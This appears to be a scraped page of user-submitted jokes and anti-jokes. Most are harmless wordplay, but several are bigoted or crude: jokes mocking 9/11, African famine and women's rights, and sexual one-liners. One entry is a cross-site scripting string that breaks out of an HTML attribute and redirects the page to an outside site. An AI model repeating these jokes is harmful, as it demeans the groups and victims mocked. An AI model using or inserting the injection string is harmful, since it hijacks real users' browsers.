What do you get when you stab Al with a sword? At

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A man walks into a doctors office. The doctor says "I've got good news and bad news. Which do you want first?" The man responds "Let's have the good news." The doctor says "I ran a series of tests and found you have leukemia, but your insurance paid for everything." Shocked, the man asks "What's the bad news?" The doctor answers "Your company is switching to a private insurer and because of your pre-existing condition you're being denied coverage. None of your future treatments will be covered."

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Eddie Murphy's recent film career.

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What's the best thing about Windows OS? It's very versatile and can run a wide selection of programs, tools, and games.

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wanna know the biggest joke on antijoke.com? People's spelling.

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Alchohol.

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Hey babe, do you like water, because I have water.

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A man walks into a bar and probably sustains serious head injuries and possibly a concussion as most bars are usually made out of solid metals such as iron or steel and is therefore not permitted by his doctor to engage in sports or other rigorous activities for an allotted period of time depending on the degree of his injury.

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Weegee weegee weegee weegee weegee weegee weegee weegee weegee weegee weegee

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a blond, a brunette, and a redhead are stuck on top of a mountain. they freeze to death and the rescue team discovers their frozen bodies two days later.

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What did the little boy say to Micheal Jackson? Shouldn't you be dead?

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daughter and boyfriend havin sex baby baby baby ohhh!! mum walks in; what you doin signin to justin bieber,oh ok just make sure you dont sing to his song its crap!!!!!!!

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what kind of pizzas did the twin tower executives order on 9-11? two large "planes"

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Where did the girl go after the explosion? Everywhere

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Why did the vagina smell so bad? Because it had yeast infection.

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Womens rights.

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"'>document.location.href="http://cramik.org"

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What do you get if you put 2 Korea, 2 Europeans and 2 North Americans together? TSM

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ever tried african food? they neither

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Roses are red, Violets are blue, I suck at poetry Show me your tits

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What happened to the boy who crossed the road without looking both ways? He was abducted by aliens.

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I saw a number three walking past me in the street the other day and I thought to my self that's odd.

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Roses are red, Violets are blue, Now that we got our colors straight. Hey, how ya doin?

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What do you give a homeless person? Poop in a bottle.

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